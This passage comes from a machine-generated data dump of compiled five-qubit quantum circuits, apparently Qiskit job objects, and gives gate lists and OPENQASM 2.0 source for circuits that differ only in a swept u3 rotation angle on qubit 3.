1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1251', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.3000000000000003, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1253', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.4000000000000004, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1255', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1257', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.6, 